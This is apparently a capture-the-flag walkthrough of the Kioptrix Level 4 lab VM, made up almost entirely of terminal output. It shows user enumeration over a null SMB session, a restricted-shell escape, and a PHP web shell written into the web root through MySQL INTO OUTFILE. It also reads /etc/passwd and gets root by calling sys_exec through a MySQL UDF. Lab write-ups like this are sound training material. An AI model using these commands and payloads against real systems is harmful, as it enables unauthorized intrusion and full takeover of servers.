Kioptrix Level 4 (1.3)

┌──(kali㉿kali-attacker-0)-[~/BOXES/Kioptrix/Lvl4]
└─$ rpcclient -N -U "" 10.0.1.105
rpcclient $> enumdomusers
user:[nobody] rid:[0x1f5]
user:[robert] rid:[0xbbc]
user:[root] rid:[0x3e8]
user:[john] rid:[0xbba]
user:[loneferret] rid:[0xbb8]

robert:~$ echo $SHELL
*** forbidden path -> "/bin/kshell"
*** You have 0 warning(s) left, before getting kicked out.
This incident has been reported.
robert:~$ echo $PATH
*** forbidden path -> "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"

robert:~$ echo os.system('/bin/bash')
robert@Kioptrix4:~$ whoami
robert

robert@Kioptrix4:/var/www/john$ cat john.php
<?php
session_start();
if(!session_is_registered(myusername)){
        header("location:../index.php");
}else{
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name

mysql> select version();
+--------------------+
| version()          |
+--------------------+
| 5.0.51a-3ubuntu5.4 |
+--------------------+
1 row in set (0.00 sec)

mysql> SELECT '<?php system($_REQUEST[0]); ?>'  INTO OUTFILE '/var/www/shell.php';
Query OK, 1 row affected (0.00 sec)

<http://10.0.1.105/shell.php?0=id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)

john@Kioptrix4:/var/www/john$ locate "*lib_mysqludf_sys*"
/usr/lib/lib_mysqludf_sys.so

mysql> use information_schema;
mysql> SELECT load_file("/etc/passwd");
...
----------------------------+
| root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...

mysql> select sys_exec('usermod -aG admin john');
+------------------------------------+
| sys_exec('usermod -aG admin john') |
+------------------------------------+
| NULL                               |
+------------------------------------+
1 row in set (0.04 sec)

mysql> exit
Bye
john@Kioptrix4:/tmp$ sudo su
[sudo] password for john:
root@Kioptrix4:/tmp# whoami
root
root@Kioptrix4:/tmp#